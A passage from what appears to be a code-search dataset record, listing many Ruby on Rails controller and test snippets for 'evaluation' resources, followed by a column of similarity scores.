params.require(:evaluation).permit(:restaurant_id, :standards, :name, :message)\n end", "def getEvaluations\n\t\tharness.evaluations\n\tend", "def index\n @evaluos = Evaluo.all\n end", "def method_missing(method, *args, &block)\n data = { method: method, parameters: args }\n request.post(path: nodes_path, data: data, auth_token: auth_token)\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n if Evaluation.where('title=?', @evaluation.title).first\n @evaluation.errors[:nameexists] << \"An evaluation by that title already exists\"\n end\n\n resource = @evaluation.resource\n if (resource =~ /doi:/ or resource =~ /dx\\.doi\\.org/)\n canonicalizedDOI = resource.match(/(10.\\d{4,9}\\/[-\\._;()\\/:A-Z0-9]+$)/i)[1]\n @evaluation.resource = canonicalizedDOI\n end\n \n validate_orcid(@evaluation, @evaluation.executor) # sets an error if there was a problem\n \n respond_to do |format|\n if !@evaluation.errors.any? && @evaluation.save\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully created.\" }\n format.json { render :show, status: :created, location: @evaluation }\n else\n @collections = Collection.all\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def render_evaluate_and_send(options)\n response = render_and_evaluate(options)\n Skates.router.connection.send_xml response \n end", "def index\n @evaluaciones = Evaluacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluaciones }\n end\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def new\n @evaluation = current_customer.customer_evaluations.new\n\n @evaluation.name = Evaluation.sample_evaluation.name if params[:testing]\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @evaluation}\n end\n end", "def evaluacione_params\r\n params.require(:evaluacione).permit(:contestada, :curso_id, :encuesta_id, :nombre)\r\n end", "def test_index \n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n post :index , :setid => set.rsid\n assert_response :success\n assert_not_nil assigns[\"view\"] \n end", "def evaluation_params\n params.require(:evaluation).permit(:title, :description)\n end", "def create\n @student_goal_evaluation = StudentGoalEvaluation.new(student_goal_evaluation_params)\n\n respond_to do |format|\n if @student_goal_evaluation.save\n format.html { redirect_to root_path, notice: 'Evalueringen er gemt.' }\n format.json { render :show, status: :created, location: @student_goal_evaluation }\n else\n format.html { render :new }\n format.json { render json: @student_goal_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluator }\n end\n end", "def set_evaluacion_servicio\n @evaluacion_servicio = EvaluacionServicio.find(params[:id])\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.course = @course\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to course_evaluations_url, notice: 'La evaluacion fue creada correctamente!' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def test_setviewer \n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n value ='self.localname'\n post :setviewer, :setid => set.rsid, :value => value #do the request passing the adapter's object_id \n resource = set.resources[0] \n assert_equal resource.explorator::view, value #assert that the view was set.\n assert_response :success #assert that the request was executed successful\n end", "def create\n @evaluation_result = current_evaluation.evaluation_results.new(evaluation_result_params)\n @evaluation_result.created = current_user\n @evaluation_result.updated_by = current_user.id\n @evaluation_result.company_branch_ids = params[\"evaluation_result\"][\"evaluation_result_company_branches\"].reject!{ |c| !c.present? }\n\n if params[:links].present? and params[:links].is_a?(Array)\n @evaluation_result.links = params[:links][1..-1].select(&:present?)\n end\n\n respond_to do |format|\n if @evaluation_result.save\n track_evaluation_update\n\n format.html { redirect_to customer_evaluation_path(current_customer, current_evaluation), notice: I18n.t('evaluation_results.messages.successfully_created') }\n format.json { render json: @evaluation_result, status: :created, location: @evaluation_result }\n else\n format.html { render action: :new }\n format.json { render json: @evaluation_result.errors, status: :unprocessable_entity }\n end\n end\n end", "def evaluation_params\n params.require(:evaluation).permit(:school_num, :evaluate1, :evaluate2, :evaluate3, :evaluate4, :comment)\n end", "def evaluacion_params\n params.require(:evaluacion).permit(:pregunta_1, :pregunta_2, :pregunta_3, :pregunta_4, :pregunta_5, :pregunta_6, :pregunta_7, :pregunta_8, :observacion, :fecha_evaluacion, :nota, :nota_informe_practica)\n end", "def evaluation_params\n params.require(:evaluation).permit(:title, :approbation_grade, :date)\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def set_evaluate(user, value)\n votes.create(user: user, value: value) \n end", "def evaluation_params\n params.require(:evaluation).permit(:organization, :standard, :suitability, :funding, :assessment, :report)\n end", "def create\n @rcrieval = Rcrieval.new(params[:rcrieval])\n\n respond_to do |format|\n if @rcrieval.save\n format.html { redirect_to @rcrieval, notice: 'Rcrieval was successfully created.' }\n format.json { render json: @rcrieval, status: :created, location: @rcrieval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rcrieval.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts evaluation_params\n @evaluation = Evaluation.new(evaluation_params)\n #De aca en adelante es para lograr insertar datos en la tabla intermedia \n #La Tabla intermedia se la evaluation_question\n respond_to do |format|\n puts \"Entre al respond\"\n if @evaluation.save\n puts \"Pude guardarlo\"\n evaluation = Evaluation.last\n evaluation.update(course_id: params[:course_id])\n evaluation_id = evaluation.id\n question_ids = params[:questions]\n question_ids.each do |question_id|\n EvaluationQuestion.create(question_id: question_id, evaluation_id: evaluation_id)\n end\n format.html { redirect_to @evaluation, notice: 'La evaluación fue creada con éxito' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n @question = Question.all\n @courses = Course.all\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @evaluacion_servicios = EvaluacionServicio.all\n end", "def new\n @evaluation_criterium = EvaluationCriterium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluation_criterium }\n end\n end" ]
[ "0.6374229", "0.62855715", "0.5954634", "0.5865875", "0.5765015", "0.56849235", "0.56270635", "0.5614256", "0.5598371", "0.5561228", "0.5485529", "0.54726666", "0.54726666", "0.5431737", "0.5431031", "0.5415182", "0.5386472", "0.5356005", "0.5356005", "0.5346574", "0.531846", "0.53157705", "0.53026384", "0.5281042", "0.5254549", "0.52510047", "0.5223903", "0.519071", "0.5172625", "0.51699907", "0.5163591", "0.51279265", "0.51195455", "0.5115838", "0.5104208", "0.50916183", "0.50916183", "0.50916183", "0.50916183", "0.50916183", "0.5085688", "0.5083109", "0.50824094", "0.5074623", "0.50639814", "0.5058949", "0.5046073", "0.5041068", "0.5034993", "0.50280696", "0.5022761", "0.5020338", "0.5014521", "0.5012419", "0.5011907", "0.49854413", "0.49840635", "0.49824566", "0.49819037", "0.49819037", "0.49760774", "0.4964063", "0.4960118", "0.49446762", "0.49393064", "0.49392474", "0.4925072", "0.49217653", "0.49118263", "0.4905733", "0.4904496", "0.48987463", "0.48877567", "0.48801595", "0.4877947", "0.4868061", "0.4863003", "0.48592234", "0.48582152", "0.48559698", "0.48473614", "0.48468634", "0.48383772", "0.48375213", "0.48373398", "0.4836392", "0.48290393", "0.4816046", "0.48105848", "0.4808631", "0.48069948", "0.480216", "0.47892615", "0.4783701", "0.47816363", "0.47768942", "0.47764736", "0.4775281", "0.4763502", "0.4761561" ]
0.5828644
4
PUT /evaluators/1 PUT /evaluators/1.xml
def update @evaluator.accessible = [:owner_id] if can? :transfer, @evaluator respond_to do |format| if @evaluator.update_attributes(params[:evaluator]) format.html { redirect_to(@evaluator, :notice => 'Evaluator was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @evaluator.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @evaluacione = Evaluacione.find(params[:id])\n\n respond_to do |format|\n if @evaluacione.update_attributes(params[:evaluacione])\n format.html { redirect_to(@evaluacione, :notice => 'Evaluacione was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evaluacione.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @evaluacion = Evaluacion.find(params[:id])\n\n respond_to do |format|\n if @evaluacion.update_attributes(params[:evaluacion])\n format.html { redirect_to @evaluacion, notice: 'Evaluacion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @evaluacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @evaluation = Evaluation.find(params[:id])\n\n respond_to do |format|\n if @evaluation.update_attributes(params[:evaluation])\n format.html { redirect_to(@evaluation, :notice => 'Evaluation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @evaluation = Evaluation.find(params[:id])\n\n respond_to do |format|\n if @evaluation.update_attributes(params[:evaluation])\n flash[:notice] = 'Evaluation was successfully updated.'\n format.html { redirect_to(@evaluation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @eval = Eval.find(params[:id])\n if @eval.update_attributes(params[:eval])\n flash[:notice] = \"Eval was successfully updated.\"\n respond_with(@eval)\n else\n respond_with(@eval.errors)\n end\n end", "def update!(**args)\n @model_evaluations = args[:model_evaluations] if args.key?(:model_evaluations)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update\n if ENV[\"NEW_EVALUATION\"] == nil\n raise ActionController::RoutingError\n return\n end\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluate.update(evaluate_params)\n format.html { redirect_to @evaluate, notice: 'Evaluate was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluate }\n else\n format.html { render :edit }\n format.json { render json: @evaluate.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluacione\r\n @evaluacione = Evaluacione.find(params[:id])\r\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @evaluators }\n end\n end", "def set_evaluacion\n @evaluacion = Evaluacion.find(params[:id])\n end", "def set_evaluacion\n @evaluacions = Evaluacion.find(params[:id])\n end", "def set_evaluacion_servicio\n @evaluacion_servicio = EvaluacionServicio.find(params[:id])\n end", "def update\r\n respond_to do |format|\r\n if @evaluacione.update(evaluacione_params)\r\n format.html { redirect_to @evaluacione, notice: 'Evaluacione was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @evaluacione }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @evaluacione.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @evaluation = Evaluation.find(params[:id])\n\n respond_to do |format|\n if @evaluation.update_attributes(params[:evaluation])\n format.html { redirect_to @evaluation, notice: 'Avaliacao atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluo.update(evaluo_params)\n format.html { redirect_to @evaluo, notice: 'Evaluo was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluo }\n else\n format.html { render :edit }\n format.json { render json: @evaluo.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_update\n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n size = set.resources.size\n #create a new resourceset. Note that the expression must return more resource than the first one.\n #we will check the number of resources to verify whether the set was updated.\n post :update, :exp => 'SemanticExpression.new.union(:s,Namespace.lookup(:rdf,:type),:o)', :id => set.rsid\n assert @controller.resourceset.resources.size > size #assert that set was remove\n assert_response :success #assert that the request was executed successful\nend", "def update\n @evaluare = Evaluare.find(params[:id])\n\n respond_to do |format|\n if @evaluare.update_attributes(params[:evaluare])\n format.html { redirect_to @evaluare, notice: 'Evaluare was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @evaluare.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluacion_servicio.update(evaluacion_servicio_params)\n format.html { redirect_to @evaluacion_servicio, notice: 'Evaluacion servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluacion_servicio }\n else\n format.html { render :edit }\n format.json { render json: @evaluacion_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @estimator.update(estimator_params)\n #@estimator.update(body: params[:estimator][:body]) unless params[:estimator][:body].nil?\n @estimator.create_or_update_line(params[:estimator][:body])\n @estimator.generate_files\n if params[:estimator][:status] == 'approved'\n @estimator.generate_scope\n end\n if params[:estimator][:url] == 'pending'\n format.html { redirect_to admin_estimators_url, notice: 'Estimator was successfully updated.' }\n else\n format.html { redirect_to edit_admin_estimator_url(@estimator), notice: 'Estimator was successfully updated.' }\n end\n format.json { render :show, status: :ok, location: @estimator }\n else\n format.html { render :edit }\n format.json { render json: @estimator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end", "def create\n @evaluator.owner_id = current_user.id\n @evaluator.accessible = [:owner_id] if can? :transfer, @evaluator # free to give others an evaluator to own\n @evaluator.attributes = params[:evaluator]\n\n respond_to do |format|\n if @evaluator.save\n format.html { redirect_to(@evaluator, :notice => 'Evaluator was successfully created.') }\n format.xml { render :xml => @evaluator, :status => :created, :location => @evaluator }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluator.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @anstoeval.update(anstoeval_params)\n format.html { redirect_to @anstoeval, notice: 'anstoeval was successfully updated.' }\n format.json { render :show, status: :ok, location: @anstoeval }\n else\n format.html { render :edit }\n format.json { render json: @anstoeval.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluo\n @evaluo = Evaluo.find(params[:id])\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'La evaluación fue actualizada correctamente' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @actuator = Actuator.find(params[:id])\n\n respond_to do |format|\n if @actuator.update_attributes(params[:actuator].each_value(&:strip!))\n format.html { redirect_to(@actuator, :notice => 'Actuator was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @actuator.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Avaliação atualizada.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully updated.\" }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @evaluation.update(evaluation_params)\n render :show, status: :ok\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @evaluator.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluators_url) }\n format.xml { head :ok }\n end\n end", "def update\n @expression = Expression.find(params[:id])\n\n respond_to do |format|\n if @expression.update_attributes(params[:expression])\n flash[:notice] = 'Expression was successfully updated.'\n format.html { redirect_to(@expression) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expression.errors, :status => :unprocessable_entity }\n end\n end\n end", "def evaluations(id)\n connection.get do |req|\n req.url \"job/#{id}/evaluations\"\n end\n end", "def update\n @evaluation.updated_by = current_user.id\n\n respond_to do |format|\n if @evaluation.update_attributes(evaluation_params)\n format.html {redirect_to customer_evaluation_path(current_customer, @evaluation), notice: I18n.t('evaluations.messages.successfully_updated')}\n format.json {head :no_content}\n else\n format.html {render action: \"edit\"}\n format.json {render json: @evaluation.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @evaluation = Evaluation.find(params[:id])\n @observation = @evaluation.observation\n \n respond_to do |format|\n if @evaluation.update_attributes(params[:evaluation])\n session.delete(:teacher_id)\n session.delete(:guarant_id)\n session.delete(:path)\n format.html { redirect_to evaluation_path(@evaluation), notice: 'Hodnocení bylo úspěšně upraveno.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\", :layout => \"evaluation_tabs\" }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation }\n else\n format.html { render :edit }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to course_evaluations_url, notice: 'La evaluación fue modificada correctamente!' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n @evaluate_course = EvaluateCourse.find(params[:id])\n\n respond_to do |format|\n if @evaluate_course.update_attributes(params[:evaluate_course])\n format.html { redirect_to(@evaluate_course, :notice => 'EvaluateCourse was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evaluate_course.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def update\n @evaluation_criterium = EvaluationCriterium.find(params[:id])\n\n respond_to do |format|\n if @evaluation_criterium.update_attributes(params[:evaluation_criterium])\n format.html { redirect_to @evaluation_criterium, notice: 'Evaluation criterium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @evaluation_criterium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n unless @submission.evaluated.blank?\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission), info: \"Evaluated!\" }\n end\n return\n end\n\n unless Time.now > @timeout + 5.seconds\n @submission.answers_of_questions.each do |user_answer|\n user_answer.update(choice: submission_params.fetch(user_answer.answer_id.to_s, \"false\"))\n end\n end\n if Time.now > @timeout || params[:evaluate]\n @test.questions.each do |question|\n crrct = get_result(question)\n @submission.increment!(:point, question.point) if crrct\n @submission.question_evaluations.create({question_id: question.id, value: crrct})\n end\n @submission.update(evaluated: true)\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission) }\n end\n else\n respond_to do |format|\n format.html { redirect_to submissions_path, success: 'Submission was successfully saved.' }\n end\n end\n\n end", "def update\n if @evaluation.update(evaluation_params)\n flash[:success] = 'Actualizado correctamente'\n redirect_to evaluations_url\n else\n flash[:danger] = 'Ocurrió un error'\n render :edit\n end\n end", "def update\n respond_to do |format|\n if @evaluation.update(evaluation_params)\n format.html { redirect_to result_url(@evaluation), notice: \"\" }\n format.json { redirect_to result_url(@evaluation) }\n #else\n # format.html { render :edit }\n # format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @evaluation.update(evaluation_params)\n redirect_to action: \"index\", notice: 'Evaluation was successfully updated.' \n else\n render :edit \n end\n end", "def update\n @response_to_the_evaluation = ResponseToTheEvaluation.find(params[:id])\n @response_to_the_evaluation.save\n respond_to do |format|\n if @response_to_the_evaluation.save\n format.json\n format.js\n end\n end\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def update\n @rcrieval = Rcrieval.find(params[:id])\n\n respond_to do |format|\n if @rcrieval.update_attributes(params[:rcrieval])\n format.html { redirect_to @rcrieval, notice: 'Rcrieval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rcrieval.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @pred = args[:pred] if args.key?(:pred)\n @value = args[:value] if args.key?(:value)\n end", "def update\n put :update\n end", "def update\n respond_to do |format|\n if @evaluation_builder.update(evaluation_builder_params)\n format.html { redirect_to @evaluation_builder, notice: 'Evaluation builder was successfully updated.' }\n format.json { render :show, status: :ok, location: @evaluation_builder }\n else\n format.html { render :edit }\n format.json { render json: @evaluation_builder.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @expectation = RiGse::Expectation.find(params[:id])\n\n respond_to do |format|\n if @expectation.update_attributes(params[:expectation])\n flash[:notice] = 'RiGse::Expectation.was successfully updated.'\n format.html { redirect_to(@expectation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expectation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n @evaluationstatus = Evaluationstatus.find(params[:id])\n\n respond_to do |format|\n if @evaluationstatus.update_attributes(params[:evaluationstatus])\n format.html { redirect_to @evaluationstatus, notice: 'Evaluation status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @evaluationstatus.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n\n respond_to do |format|\n if @expectation_stem.update_attributes(params[:expectation_stem])\n flash[:notice] = 'RiGse::ExpectationStem.was successfully updated.'\n format.html { redirect_to(@expectation_stem) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expectation_stem.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n\n respond_to do |format|\n if @supervisor_estagio.update_attributes(params[:supervisor_estagio])\n flash[:notice] = 'Supervisor de Estagio atualizado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update\n respond_to do |format|\n if @psicologic_evaluation.update(psicologic_evaluation_params)\n format.html { redirect_to @psicologic_evaluation, notice: 'Psicologic evaluation was successfully updated.' }\n format.json { render :show, status: :ok, location: @psicologic_evaluation }\n else\n format.html { render :edit }\n format.json { render json: @psicologic_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluacione = Evaluacione.new(params[:evaluacione])\n\n respond_to do |format|\n if @evaluacione.save\n format.html { redirect_to(@evaluacione, :notice => 'Evaluacione was successfully created.') }\n format.xml { render :xml => @evaluacione, :status => :created, :location => @evaluacione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluacione.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_operator\n @value = 1\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operator_plan }\n end\n end", "def update(policy,exceptions)\n @options[:connection].put(\"/policies/#{@options[:path]}\", :payload => {:exceptions => exceptions, :policy => policy}) && true\n end", "def put!\n request! :put\n end", "def update\n authorize! :update, @theorem\n if @theorem.update(theorem_params)\n render json: @theorem, status: :ok, location: @theorem\n else\n render json: @theorem.errors, status: :unprocessable_entity\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def set_anstoeval\n @anstoeval = Anstoeval.find(params[:id])\n end", "def set_evaluate(user, value)\n votes.create(user: user, value: value) \n end", "def new\n @evaluator.owner_id = current_user.id\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluator }\n end\n end", "def update\n # binding.pry;''\n @occasion.administrators << User.find(params[:adminstrator]) if params[:adminstrator]\n respond_to do |format|\n if @occasion.update(occasion_params)\n format.html { redirect_to 